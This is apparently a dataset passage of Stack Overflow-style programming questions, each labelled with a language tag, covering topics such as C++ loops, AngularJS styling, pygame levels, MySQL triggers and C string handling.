8.22. in your text. (fig 8.22 is the output i posted above as what my program should be posting)   <ol> <li> opening the template source code file. open the payraise.cpp file in your text editor or ide. </li> <li> defining variables and prompting the user for input. to store the raise percentage and years of employment that the user inputs  define int variables rate and years  in main after line 12. also define double variable wage to store the user’s annual wage. then  insert statements that prompt the user for the raise percentage  years of employment and starting weekly wage. store the values typed at the keyboard in the rate  years and wage variables  respectively. to find the annual wage  multiply the new wage by 52 (the number of weeks per year) and store the result in wage. </li> <li> displaying a table header and formatting output. use the left and setw stream manipulators to display a table header as shown in fig. 8.22 in your text. the first column should be six characters wide. then use the fixed and setprecision stream manipulators to format floating- point values with two positions to the left of the decimal point. </li> <li> writing a for statement header. insert a for statement. before the first semicolon in the for statement header  define and initialize the variable counter to 1. before the second semicolon  enter a loop- continuation condition that will cause the for statement to loop until counter has reached the number of years entered. after the second semicolon  enter the increment of counter so that the for statement executes once for each number of years. </li> <li> calculating the pay raise. in the body of the for statement  display the value of counter in the first column and the value of wage in the second column. then calculate the new weekly wage for the following year  and store the resulting value in the wage variable. to do this  add 1 to the percentage increase (be sure to divide the percentage by 100.0 ) and multiply the result by the current value in wage. </li> <li> save  compile and run the application. input a raise percentage and a number of years for the wage increase. view the results to ensure that the correct years are displayed and that the future wage results are correct. </li> <li> close the command prompt window. </li> </ol>   we can not figure it out! any help would be greatly appreciated  thanks!,c++
"how to write function to change background color of button in angular js. depending on some situation  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( game   []);
 app.controller( mainctrl   function($scope) {
 
     $scope.buttonarray = [{}];
     var buttonid = $scope.buttonarray.length;
 
     $scope.init = function() {
         var x1 = $scope.x;
         console.log(x1);
         var randomnumber = math.floor((math.random() * x1) + 1);
         console.log(randomnumber);
         while (x1 &gt; 0) {
             $scope.addnewbutton();
             x1--;
         }
         $scope.x =   ;
     }
 
     $scope.addnewbutton = function() {
         $scope.buttonarray.push({
              id : buttonid
         });
         buttonid = $scope.buttonarray.length + 1;
     };
 
     $scope.changecolor = function(id) {
         console.log(id);
 
     };
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/angularjs/1.2.7/angular.min.js &gt;&lt;/script&gt;
 
 &lt;body&gt;
   &lt;div ng-app= game  ng-controller= mainctrl &gt;
     enter number of ball:&lt;input type= text  ng-model= x &gt;
     &lt;button class= add  ng-click= init() &gt;add balls&lt;/button&gt;&lt;br&gt;
     &lt;span data-ng-repeat= button in buttonarray &gt;
         &lt;button  ng-model= myvalue  ng-click= style={ background-color :button.id == 5     blue :  red }   ng-style= style &gt;guess me&lt;/button&gt;
         &lt;/span&gt;
     &lt;p&gt;{{buttonarray}}&lt;/p&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>
     i want to write function to change background color. if random number is less than clicked button then button color should be green else red. if random number is equal to clicked button then button color should be blue.",html
html  title  attribute: any limitation on which tag to apply it on   i have read <a href= https://developer.mozilla.org/en-us/docs/web/html/global_attributes#title  rel= nofollow >on mozilla website regarding the <code>title</code> attribute</a> : <code> contains a text representing advisory information related to the element it belongs to </code>.    but also  in the first paragraph of the page regarding all global attributes (<code>title</code> included):  <code>html defines a few attributes that are common to all html elements. these attributes can be used on all elements  though the attributes may have no effect on some elements </code>    is it anywhere specified (source please) on which element the <code>title</code> attribute has  no effect      i curious why this seems so vague  maybe i simply missed something.    <a href= http://jsfiddle.net/e2x9x/  rel= nofollow >i created a jsfiddle</a> where <code>title</code> attribute seems to  have an effect  (on chrome  ff29  ie11) on tags: <code>&lt;a&gt;</code>  <code>&lt;img&gt;</code>  <code>&lt;p&gt;</code>  <code>&lt;div&gt;</code>,html
hide and show toolbar on scrolling of screen  i have a tabs inside a <code>linearlayout</code> . the <code>linearlayout</code> is at the bottom of the screen and inside a <code>toolbar</code>. i want that when the screen has more items than it can fit and the screen <code>scrolls</code> the lower tab <code>linearlayout</code> should hide and when i <code>scroll</code> complete up  it should be visible. i am trying the below code  but it did not seem to be working.   <pre><code> &lt;android.support.v7.widget.toolbar     android:layout_width= match_parent      android:layout_height=  android:actionbarsize      android:layout_gravity= bottom      android:background= @android:color/transparent      android:theme= @style/themeoverlay.appcompat.dark.actionbar      app:contentinsetend= 0dp      app:contentinsetleft= 0dp      app:contentinsetright= 0dp      app:contentinsetstart= 0dp       app:layout_constraintbottom_tobottomof= parent      app:layout_scrollflags= scroll|enteralways &gt;      &lt;linearlayout         android:layout_width= match_parent          android:layout_height= wrap_content          android:orientation= vertical          android:visibility= visible          app:layout_behavior= com.imi.utils.scrollingtoolbarbehavior          app:layout_constraintbottom_tobottomof= parent          app:layout_constraintleft_toleftof= parent          app:layout_constraintright_torightof= parent &gt;          &lt;include             android:id= @+id/bottombarlayout              layout= @layout/activity_custom_bottom_navigation  /&gt;     &lt;/linearlayout&gt; &lt;/android.support.v7.widget.toolbar&gt; </code></pre>,android
rails comparison not working  in rails  have a workorders table.  each workorder can have children workorders.  i m trying to create dropdown links to sibling workorders.  i m testing by looking at workorder.id = 30.  it has a sibling workorder.id = 20.  i don t want to display a link to the same workorder the user is looking at (30).    so i put in a test <code>&lt;% if child.id != @workorder %&gt;</code>.  but  the 30 link still displays.  i added some logger code to see what s going on.    this is my code:   <pre><code>&lt;li class= dropdown-header &gt;siblings links&lt;/li&gt;     &lt;% workorder.find(@workorder).parent.children.each do |child| %&gt;         &lt;%= logger.info  look here   %&gt;         &lt;%= logger.info child.id %&gt;         &lt;%= logger.info @workorder %&gt;         &lt;% if child.id != @workorder %&gt;             &lt;li&gt;&lt;%= link_to child.id_desc  tasks_index4_path(:workorder_id =&gt; child) %&gt;&lt;/li&gt;         &lt;% end %&gt;     &lt;% end %&gt; </code></pre>   the log shows:   <pre><code>look here 30 30 look here 30 20 </code></pre>   yet the link_to for 30 shows up.    thanks for the help!,ruby-on-rails
am i doing this trigger delete incorrectly   so i have 2 tables and if i delete a row from one table it should delete the other row from another table with the same  item_id  but when i delete one it doesn t seem to delete the other  is my trigger incorrect    <pre><code>delimiter $ create trigger del_cd after delete on music_cd for each row begin delete from item      where item.item_id = music_cd.item_id; end $ delimiter; </code></pre>,mysql
android app update creation  i have created an android app.but it is not available on playstore because of some security issues.i have nt released the first version i have some more features to add later.so my question is how can i give update to my customers.for automatic update what should i do in the current app.,android
chek windows vista using javascript  how can i found windows vista service pack version using javascript..,javascript
ios: local push notification fire receivedlocalnotification(uiapplication application  uilocalnotification notification) while app is backgrounded   is it possible to handle/process/execute something the moment local push notification is received even if the app is backgrounded     what i ve tried is this: in debug mode  create a local notification which fires 10 secs after the app starts  put a breakpoint inside public override void receivedlocalnotification (uiapplication application  uilocalnotification notification)  run the app  quickly push home button after start wait for 10 secs  local notification message arrived in the status bar but the breakpoint does not hit  starting the app via app drawer wont hit breakpoint either  tapping the notification message will hit breakpoint.    what i want is when the notification arrived  regardless of the app state (backgrounded or even terminated)  the moment it comes to foreground do some task based on the notification received and regardless of the way how the user starts the app (via tapping the push message or via drawer).    i used local push notification in ios as a alarm/timer  since ios does not have alarmmanager like android.    by the way i am using xamarin.forms.,ios
change image by multi value  i have created an html list using <code>span</code> tags. i would like to change the src of the image at the top to `image/  prefix and and the suffix taken from data-idname. for example  hovering over the first span would give:   <pre><code>image/baba-au-rhum1.jpg </code></pre>   please tell me how i can acheive this.   <pre><code>&lt;div&gt;     &lt;img id= imgid  src= image/default.jpg  width= 300  height= 171  alt= hello &gt; &lt;/div&gt;  &lt;div&gt;     &lt;p style= text-align: left; margin-top: 60px; &gt;         &lt;span id= hoverid  data-idname= baba-au-rhum1.jpg &gt;             &lt;span class= classred &gt;la&lt;/span&gt; for&amp;ecirc;t noire&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum2.jpg &gt;             &lt;span class= classred &gt;le&lt;/span&gt; framboisier&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum3.jpg &gt;             &lt;span class= classred &gt;l &lt;/span&gt; op&amp;eacute;ra&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum4.jpg &gt;             &lt;span class= classred &gt;le&lt;/span&gt; flan nature&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum5.jpg &gt;             &lt;span class= classred &gt;le&lt;/span&gt; mille feuilles&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum6.jpg &gt;             &lt;span class= classred &gt;l &lt;/span&gt; &amp;eacute;clair au chocolat ou caf&amp;eacute;&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum7.jpg &gt;             &lt;span class= classred &gt;la&lt;/span&gt; tarte tatin&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum8.jpg &gt;             &lt;span class= classred &gt;le&lt;/span&gt; baba au rhum&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum9.jpg &gt;             &lt;span class= classred &gt;le&lt;/span&gt; financier a la framboise&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum10.jpg &gt;             &lt;span class= classred &gt;la&lt;/span&gt; tarte aux fraises&lt;/span&gt;             &lt;br /&gt;         &lt;span id= hoverid  data-idname= baba-au-rhum18.jpg &gt;             &lt;span class= classred &gt;l &lt;/span&gt; ile flottante &amp;agrave; la cr&amp;egrave;me&lt;/span&gt;     &lt;/p&gt; &lt;/div&gt; </code></pre>,jquery
read c# method code within [editorbrowsable(editorbrowsablestate.advanced)]   i am reading some c# project code and see a public method being marked as:   <pre><code>[editorbrowsable(editorbrowsablestate.advanced)] </code></pre>   it looks like a good portion of that method code isn t viewable to me.    is there a way to see the code within that method,c#
c# accessing controls from an outside class without  public   i know this has been asked before but i believe my situation is a bit different -- or i don t understand the answers given.  i have spent about 4 hours working on this solidly and finally realized  i just don t know what to do.    i have 2 forms (form1  settings) and a class i created called themes.    i have get/set properties that currently work but are all within form1 and i would like to move as much code related to themeing as i can outside of form1 and into <code>themes.cs</code>.    changing theme:  to change the theme  the user opens up the settings form and selects a theme from the dropdown menu and presses the  set  button -- this all works  but now i want to move it into my own class and i can t get the code to compile.    here is example code that works before moving -- note that this is only 2 different controls i want to modify but there are about 30 total.  i am abridging the code:    form 1:   <pre><code>public partial class form1 : form {     public form1()     {         initializecomponent();     }      private void btnsettings_click(object sender  eventargs e)     {         settings frm = new settings(this);         frm.show();     }      private color txtrssurlbgproperty;     private color txtrssurlfgproperty;      public color txtrssurlbgproperty     {         get { return txtrssurlbgproperty; }         set { txtrssurl.backcolor = value; }     }      public color txtrssurlfgproperty     {         get { return txtrssurlfgproperty; }         set { txtrssurl.forecolor = value; }     } </code></pre>   settings form:   <pre><code>public partial class settings : form {     public settings()     {         initializecomponent();     }      private form1 rssreadermain = null;      public settings(form requestingform)     {         rssreadermain = requestingform as form1;         initializecomponent();     }      private void button2_click(object sender  eventargs args)     {         // appearence settings for default theme          if (cbthemeselect.selectedindex == 1)         {             this.rssreadermain.txtrssurlbgproperty = color.darkseagreen;             this.rssreadermain.txtrssurlfgproperty = color.white;             [......about 25 more of these....]         } </code></pre>   the theme class is currently empty.  again  the goal is to move as much code into the themes class (specifically the get/set statements if at all possible!) and hopefully just use a method similar to this within the settings form once the proper drowndown item is selected: <code>settheme(default);</code>    i hope someone can help  and i hope i explained it right! i have been racking my brain and i need to have this done fairly soon!  much thanks in advance as i m sure everyone says.  i have teamviewer or logmein if someone wants to remote in -- that is just as easy.    i can also send my project as a zip if needed.    thanks so much     kurt    modified code for review:    form1 form:   <pre><code>public partial class form1 : themeableform {      public form1()     {         initializecomponent();     } </code></pre>   themeableform form:   <pre><code>internal abstract class themeableform : form {     private color rsslabelbgproperty;     private color rsslabelfgproperty;      public color rsslabelbgproperty     {         get { return rsslabelbgproperty; }         set { lrss.backcolor = value; }     }      public color rsslabelfgproperty     {         get { return rsslabelfgproperty; }         set { lrss.forecolor = value; }     } </code></pre>   settings form:   <pre><code>    public settings(themeableform requestingform)     {         rssreadermain = requestingform as themeableform;         initializecomponent();     }      private themeableform rssreadermain = null;      private void button2_click(object sender  eventargs args)     {          // appearence settings for default theme          if (cbthemeselect.selectedindex == 1)         {             this.rssreadermain.lrssbgproperty = color.darkseagreen;             this.rssreadermain.lrssfgproperty = color.white;         } </code></pre>   now the all the controls in my get/set (lrss in the example code above) error out with <code>does not exist in the current context</code>.  i also get the warning:   <blockquote>    warning   1the designer could not be shown for this file because none of   the classes within it can be designed.  the designer inspected the   following classes in the file:         form1 --- the base class  rssreader_bkrf.themeableform  could not be   loaded.  ensure the assembly has been referenced and that all projects   have been built.      0   0  </blockquote>,c#
converting a decimal to an english string  i have written a .net class that converts decimal (money values) to an english readable string.     113.25 => one hundred thirteen and 25 cents.    it is the amount line on checks. the code is deployed and works  but i was wondering if there was a better approach than writing a bunch of if  switch  integer division  and modulus statements. i was hoping for a more elegant solution rather than my 168 lines of grind it out code.,.net
you want your type to be able to be converted from string. which interface should you implement   the answer in exam ref 70-483 (wouter de kort) is  iformattable .  explanation in the book is  <em>iformattable provides the functionality to format the value of an object into a string representation(<strong>i m agree with this part</strong>). it is also used by the convert class to do the opposite.</em>     how <strong>convert</strong> can create an object from a string  it doesn t have fromstring (it has changetype but still). more interesting  how could iformattable facilitate in conversation from string     i sincerely think that the question is not valid but want to be sure.,.net
compiler not understanding my optional argument in python  hello i m having issues with an exercise that is asking me to write code that contains a function  3 dictionaries  and an optional argument.    <strong>here is my code:</strong>   <pre><code>def make_album(artist_name  album_title  num_tracks):         return artist and album title name.        cd1 = { sonic : artist_name   his world : album_title}     cd2 = { shadow : artist_name   all hail shadow : album_title}     cd3 = { silver : artist_name   dream of an absolution : album_title}     if num_tracks:         cd = artist_name +     + album_title +     + num_tracks     else:         cd = artist_name +     + album_title     return cd.title()  disc = make_album( sonic    his world    15 ) print(disc)  disc = make_album( shadow    all hail shadow ) print(disc)  disc = make_album( silver    dream of an absolution ) print(disc) </code></pre>   whenever i try to run my code however  my compiler states that it is missing 1 required positional argument:  num_tracks  for my second print statement.    but this should not be an issue because of my if-else statement  unless i wrote my code incorrectly and the compiler isn t reading my if-else statement  any feedback would be greatly appreciated  thank you for your time.,python
how to get repeating decimal in c  <strong>how can i get the repeating decimal 0.99999999... in c  </strong>    1.0/9.0 will give me repeating decimal: 0.1111111  but if use  double = 1.0/9.0 * 9.0 the result is 1.0    thank you.,c
reading data from file in console in c  hi i have the following code   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;process.h&gt; #include &lt;conio.h&gt;  int main() {     file *fp;     char c=   ;     fp=fopen( e:\data.txt   w );     if(fp==null)     {         printf( cannot open file );         exit(1);     }     printf( write data &amp; to stop press  .  : );     while(c!= . )     {         c=getche();               fputc(c fp);     }     fclose(fp);     printf( \ncontents read: );     fp=fopen( e:\data.txt   r );     while(!feof(fp));     printf( %c  getc(fp)); } </code></pre>   and when executing the above code   i have the following output    output:   <pre><code>write data &amp; to stop press  .  :writing data into the file.  contents read: </code></pre>   output doesn t display the contents which i have inputted.    please help me where did i went wrong.,c
attag mentions ios  i am using sttweet label for display attag mentions. my problem is want to mention last name along with mention. how can i do that     below post my code   <pre><code> __block   commentstableviewcell *hashtag=self;     labelcommenter_comment.detectionblock = ^(sttweethotword hotword  nsstring *string  nsstring *protocol  nsrange range)     {          if ([string hasprefix:@ # ] &amp;&amp; [string length] &gt; 1)         {             string = [string substringfromindex:1];             [hashtag hashtagdelegatecalling:string];         }         else if ([string hasprefix:@ @ ]  &amp;&amp; [string length] &gt; 1)         {             string = [string substringfromindex:1];             nsmutablestring *atstring = [nsmutablestring stringwithformat:@ %@  string];             [arrayexp enumerateobjectsusingblock:^(id obj  nsuinteger idx  bool *stop)              {                   if ([[obj valueforkey:@ username ] isequaltostring:atstring]) {                       nsstring  *hashlinkvalue = [obj valueforkey:@ hashlink ];                      [hashtag attheratedelegatecalling:hashlinkvalue];                   }               }];         }      }; </code></pre>,ios
list of replaced elements  in <a href= https://stackoverflow.com/q/8012297/1318265 >this question</a> and other places online   replaced elements  that have special properties are referenced  usually citing examples of <code>&lt;img&gt;</code> tags  <code>&lt;svg&gt;</code> tags and the like.  however  i m trying to style some elements that are the output of a third-party library that i m not in control of and i would like to know <strong>exactly</strong> what elements i can and can t use pseudo elements like <code>:before</code> and <code>:after</code> on.    even <a href= https://www.w3.org/tr/css2/conform.html#replaced-element  rel= nofollow noreferrer >the actual documentation</a> on replaced elements doesn t have an exact list.  which elements are  replaced,html
space shooter game have slight errors  i ve been having trouble with levels with my game and i was wondering why my enemies in my game are not falling from the top of the screen  and i was trying to make levels but my  class levels are not working.can someone please help!             my code:   <pre><code>import pygame import random  # define some colors black = (0  0  0) white = (255  255  255) red = (255  0  0) blue = (0  0  255) lav = (209  95  250)   #enemy  class block(pygame.sprite.sprite):         this class represents the block.         def __init__(self  color):         # call the parent class (sprite) constructor         super().__init__()          self.image = pygame.image.load( enemy2.png )          self.rect = self.image.get_rect()     def reset_pos(self):           self.rect.y = random.randrange(-300 -20)         self.rect.x = random.randrange(0 screen_width) #player class player(pygame.sprite.sprite):         this class represents the player.          def __init__(self):             set up the player on creation.             # call the parent class (sprite) constructor         super().__init__()         self.image = pygame.image.load( ss1.png )            self.rect = self.image.get_rect() #controls     def update(self):             update the player s position.             # get the current mouse position. this returns the position         # as a list of two numbers.         pos = pygame.mouse.get_pos()          # set the player x position to the mouse x position         self.rect.x = pos[0]    class bullet(pygame.sprite.sprite):         this class represents the bullet .         def __init__(self):         # call the parent class (sprite) constructor         super().__init__()          self.image = pygame.image.load( fireball2.png )          self.rect = self.image.get_rect()      def update(self):             move the bullet.             self.rect.y -= 6    # --- create the window  # initialize pygame pygame.init()  pygame.display.set_caption( space shooter )  # set the height and width of the screen screen_width = 850 screen_height = 850 screen = pygame.display.set_mode([screen_width  screen_height]) bg = pygame.image.load( bg.png ) # --- sprite lists  # this is a list of every sprite. all blocks and the player block as well. all_sprites_list = pygame.sprite.group()  # list of each block in the game block_list = pygame.sprite.group()  # list of each bullet bullet_list = pygame.sprite.group()  # --- create the sprites class level():         this is a generic super-class used to define a level.         create a child class for each level with level-specific         info.          def __init__(self  player):             constructor. pass in a handle to player. needed for when moving             platforms collide with the player.             self.platform_list = pygame.sprite.group()         self.enemy_list = pygame.sprite.group()         self.player = player          # how far this world has been scrolled left/right         self.world_shift = 0      # update everythign on this level     def update(self):             update everything in this level.            self.platform_list.update()         self.enemy_list.update()      def draw(self  screen):             draw everything on this level.              # draw the background         screen.fill(blue)          # draw all the sprite lists that we have         self.platform_list.draw(screen)         self.enemy_list.draw(screen)      def shift_world(self  shift_x):             when the user moves left/right and we need to scroll         everything:              # keep track of the shift amount         self.world_shift += shift_x          # go through all the sprite lists and shift         for platform in self.platform_list:             platform.rect.x += shift_x          for enemy in self.enemy_list:             enemy.rect.x += shift_x   # create platforms for the level class level_01(level):         definition for level 1.          def __init__(self  player):             create level 1.              # call the parent constructor         level.__init__(self  player)          self.level_limit = 10      for i in range(15):     # this represents a block         block = block(blue)      # set a random location for the block         block.rect.x = random.randrange(825)         block.rect.y = random.randrange(500)      # add the block to the list of objects         block_list.add(block)         all_sprites_list.add(block)  # create a red player block class level_02(level):         definition for level 2.          def __init__(self  player):             create level 1.              # call the parent constructor         level.__init__(self  player)          self.level_limit = -3000          # array with type of platform  and x  y location of the platform.         for i in range(30):     # this represents a block             block = block(blue)      # set a random location for the block¸                 block.rect.x = random.randrange(650)             block.rect.y = random.randrange(350)      # add the block to the list of objects             block_list.add(block)             all_sprites_list.add(block)          # go through the arrzay above and add platforms   player = player() all_sprites_list.add(player)  # loop until the user clicks the close button. done = false  # used to manage how fast the screen updates clock = pygame.time.clock()  font = pygame.font.font(none  25)  frame_count = 0 frame_rate = 60 start_time = 90  score = 0 player.rect.y = 600 bg_sound = pygame.mixer.sound( countdown - timer.wav ) fire_sound = pygame.mixer.sound( laser-soundbible.com-602495617.wav ) bg_sound.play(-1)  # -------- main program loop ----------- while not done:     # --- event processing     for event in pygame.event.get():         if event.type == pygame.quit:             done = true            elif event.type == pygame.mousebuttondown:             # fire a bullet if the user clicks the mouse button             bullet = bullet()             # set the bullet so it is where the player is             bullet.rect.x = player.rect.x             bullet.rect.y = player.rect.y             # add the bullet to the lists             all_sprites_list.add(bullet)             bullet_list.add(bullet)             fire_sound.play()         # --- game logic      # call the update() method on all the sprites     all_sprites_list.update()      # calculate mechanics for each bullet     for bullet in bullet_list:          # see if it hit a block         block_hit_list = pygame.sprite.spritecollide(bullet  block_list  true)          # for each block hit  remove the bullet and add to the score         for block in block_hit_list:             bullet_list.remove(bullet)             all_sprites_list.remove(bullet)             score += 1             print(score)          # remove the bullet if it flies up off the screen         if bullet.rect.y &lt; -50:             bullet_list.remove(bullet)             all_sprites_list.remove(bullet)        # --- draw a frame     screen.blit(bg  [0  0])      # clear the screen       font = pygame.font.sysfont( calibri   25 true  false)     text = font.render( enemies shot: + str(score) true  lav)     screen.blit(text [650 500])       # draw all the spites     all_sprites_list.draw(screen)      total_seconds = start_time - (frame_count // frame_rate)     if total_seconds == 0:         font = pygame.font.sysfont( calibri   25 true  false)         text = font.render( youre done  true  lav)         screen.blit(text [650 500])       # divide by 60 to get total minutes     minutes = total_seconds // 60      # use modulus (remainder) to get seconds     seconds = total_seconds % 60      # use python string formatting to format in leading zeros     output_string =  time left: {0:00}:{1:02} .format(minutes  seconds)      # blit to the screen     text = font.render(output_string  true  lav)      screen.blit(text  [650  525])      # all code to draw should go above this comment     frame_count += 10      # limit frames per second     clock.tick(frame_rate)      # go ahead and update the screen with what we ve drawn.     pygame.display.flip()  pygame.quit() </code></pre>,python
strcpy giving me segmentation fault  i have code which is giving me a segmentation fault. i debugged it and and the error occurred when the strcpy executed. the code is attempting to extract data from a text file and store it into an array of structs. i plan to use strcpy to store the store the text file s data into the structs. any idea why this is occurring             <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;string.h&gt; int input( char *s  int length);  void main(){      char *tok;     char *buffer;     size_t bufsize = 32;     size_t characters;     file *f;     char *file_name;     char line[255];     int currentroom;     int count = 0;     typedef struct {         char room_n;         char description[100];         char room_north;         char room_south;         char room_west;         char room_east;     } room;      //creating an array of structs     room record[1000];     while(1){          buffer = (char *)malloc(bufsize * sizeof(char));           if(buffer == null){             perror( unable to allocate buffer );             exit(1);         }         printf( enter a command:  );         characters = getline(&amp;buffer  &amp;bufsize  stdin);          if(strcmp(buffer  exit\n ) == 0){             printf( exiting...\n );             exit(1);         }          tok = strtok(buffer    \n ); // tokenize input         printf( %s is the token \n   tok);           if (strcmp(tok  loaddungeon ) == 0){             file_name = strtok(null   \n );             printf( file name : %s \n   file_name);             f = fopen(file_name  r );             while (fgets(line  sizeof(line)  f) != null)                 {                      char val1[128];                     char val2[128];                     char val3[128];                     char val4[128];                     char val5[128];                     char val6[128];                      strcpy(val1  strtok(line   $ ));                     strcpy(val2  strtok(null   $ ));                     strcpy(val3  strtok(null     ));                     strcpy(val4  strtok(null     ));                     strcpy(val5  strtok(null     ));                     strcpy(val6  strtok(null     ));                      //segmentation fault error occurs here                     strcpy(record[count].room_n  val1); </code></pre>,c
how to downgrade python 3.7 to 3.6   after updating my system via pacman (arch linux 4.18) most of the python scripts aren t working anymore (errors about missing modules  pipenv errors  vim plugins errors).    how can i revert python to 3.6     google didn t offer any satisfying solutions on that issue,python
will self.navigationitem.rightbarbuttonitem support array   i want to include segmented control in navigation item with flexible space.bcos it has 2 control .. i want to bring in the center....i tried follow .. will u help   ...the line...   <pre><code>self.navigationitem.rightbarbuttonitem = [nsarray   arraywithobjects:segmentbaritem flexiblespacebuttonitem nil]; </code></pre>   gives error    <pre><code> uibarbuttonitem *segmentbaritem = [[uibarbuttonitem alloc]   initwithcustomview:segmentedcontrol];  [segmentedcontrol release];  uibarbuttonitem *flexiblespacebuttonitem = [[uibarbuttonitem alloc]     initwithbarbuttonsystemitem:uibarbuttonsystemitemflexiblespace target:nil action:nil];  self.navigationitem.rightbarbuttonitem = [nsarray arraywithobjects:segmentbaritem flexiblespacebuttonitem nil]; </code></pre>,iphone
html entity validation error  could anyone tell me why i keep receiving the error for the below code:   <pre><code>&lt;div class= sidebox-header-left &gt; &lt;h3 class= rightboxheading  id= ezpagesheading &gt;advertisement&lt;/h3&gt;     &lt;br/&gt; &lt;a href= http://www.test.com/tread.php s=000&amp;v=0&amp;q=000&amp;r=000&amp;clickref=test.com &gt;&lt;img src= http://www.test.com/tshow.php s=000&amp;v=000&amp;q=000&amp;r=000  border= 0 &gt;&lt;/a&gt;            &lt;/div&gt;     &lt;div id= ezpagescontent  class= sideboxcontent &gt; &lt;/div&gt;     &lt;/div&gt; </code></pre>   i m using html 4.01 transitional  however i keep getting the following errors for the above code:   <blockquote>    warning line 298  column 56: reference to external entity in attribute value   …<code>p://www.test.com/tread.php s=000&amp;v=000&amp;q=000&amp;r=000&amp;clickref=test.com</code>        this is generally the sign of an ampersand that was not properly escaped for inclusion in an attribute  in a href for example. you will need to escape all instances of  <code>&amp;</code>  into  <code>&amp;amp;</code> .  </blockquote>,html
java-based library to provide prime numbers of a certain specified length  does anyone know of a java-based library that can be used to provide all prime numbers of a certain length (k). for instance  if k = 2 the library would provide: 11  13  17.. 87.,java
convert column type in select result  this is my table:   <pre><code>id| name  | address | more_info _______________________________ 0 | john  | ny      | infoa 1 | bill  | ph      | infob 2 | bob   | ks      | infoc </code></pre>   where <code>id</code> type is <code>bigint</code>.     i have this query:   <pre><code>select * from mytable </code></pre>   bigint is too long for some applications  thus i want to retrieve the <code>id</code> as a <code>varchar</code>. can i cast the <code>id</code> to <code>varchar</code> in the result set without having to name each specific column i want to retrieve in the result set  i.e  i want to keep the actual query <code>select *</code>  and not have to put <code>select id  name  address</code> etc.,mysql
"call a function imediatly before another is call  i m using a library and what i m trying to do is  every time a function on the library is called  i want to call first my function.    let s see the code bellow where the problem is recreated to became more understandable:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var valuetoconsole = 1;
 
 function a(){
    console.log(valuetoconsole)
 }
 
 function b(){
    valuetoconsole = 2;
    a();
    valuetoconsole = 1;
 }
 
 a();</code></pre>
 </div>
 </div>
     what i want is a way that i could console the  2  value without need to change or overwrite the function a. i m seeking a way that every time that the function a is called  before their execution  i want execute the function b();    we can accoplish that it java by using <a href= https://www.mkyong.com/spring3/spring-aop-aspectj-annotation-example/  rel= nofollow noreferrer >aspectj</a>. i m hopping that we have something similar in javascript.    note: a pure javascript solution  if possible  it will be appreciated.",javascript
use access token instead of username and password to log in an account   as part of my app i want to give the user an option to get into his google account without entering a username and a password.    is there a way i can use the android  account manager  for that     i know there s a way to get an access token  can i use it instead of username+password to log in     thanks in advance.,android
error when compare value in array using javascript   i have a sample code:   <pre><code>var find = [ iphone 3    iphone 4    iphone 5 ]; var search =  iphone 5 ; for(i=0; i&lt;find.length; i++) {    if(search == find[i]) {       alert( yes );    } else {       alert( no );    } } </code></pre>   when i run code  result 2 alert(<code>alert( yes ) and alert( no )</code>)  but result exactly is only a <code>alert( yes ) </code> how to fix it,javascript
error with populated table view  i made a populated <code>tableview</code>  but i am getting this error from a line of code:    <pre><code>viewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier forindexpath:indexpath]; </code></pre>  <blockquote>    thread 1 : sigabrt  </blockquote>,ios
web api 2 put from one controller calls post from other controller not working  i have a webapi project that has two models  sensors and sensor log. the sensor has a state and a name and the sensor log has name  state and a date property. all of this on their own works fine.     my issues is when i put to the sensor i also would like to post to the sensor log. that way i can update the log while keeping the current state for the sensor itself. right now i can put to the sensors and post to the sensor logs from their own controller but when i try to call the post from the sensor log from the put method of the sensor i get an unexpected result.     instead of a put on the sensor and a post on the sensor log i get a post on both the sensor and the sensor log. ie. the put no long updates the sensor but creates a new one in the sensor table and then associates the new sensor to the sensor log that is posted. what could be causing this     public async void putsensor(int id  sensor sensor)         {   <pre><code>        db.entry(sensor).state = entitystate.modified;          try         {             db.savechanges();         }         catch (dbupdateconcurrencyexception)         {          }          // return statuscode(httpstatuscode.nocontent);          using (var client = new httpclient())         {              client.baseaddress = new uri( http://localhost:50293/ );             client.defaultrequestheaders.accept.clear();             client.defaultrequestheaders.accept.add(new mediatypewithqualityheadervalue( application/json ));               // http post             var log = new sensorlog() { stateid = sensor.stateid  sensorid = sensor.id };             httpresponsemessage responsee = await client.postasjsonasync( api/sensorlogs/   log);          }             } </code></pre>,.net
two @implementation in a file; the bottom implementation methods are not visible in the top implementation   i have two implementation in a single file. like the one below. how do i access the second s method in the first  if i try to do that the compiler throws an unknown selector error.    i know that in c you have to have methods which have to have hierarchy in definitions to be able to build. is this the same in objectivec also  are there any alternatives to this other than defining the second implementation above the first    <pre><code>@implementation baseclass    -(void)somemethod {    xcuielementquery *elementquery = [[xcuiapplication alloc] init].tables    [elementquery anothermethod];  //how do i use the category method here    } @end   @implementation xcuielementquery (baseclasscategory)    -(void)anothermethod {    //do something   } @end </code></pre>,objective-c
python : change the value of an integer variable without recreate a variable  i would like to know if there is a way to edit the value of an integer variable instead of create a new one to replace the previous. the code should look almost like that :    <pre><code>&gt;&gt;&gt; myint = 1  &gt;&gt;&gt; print myint  1  &gt;&gt;&gt; myint.setattr (2)  &gt;&gt;&gt; print myint  2 </code></pre>,python
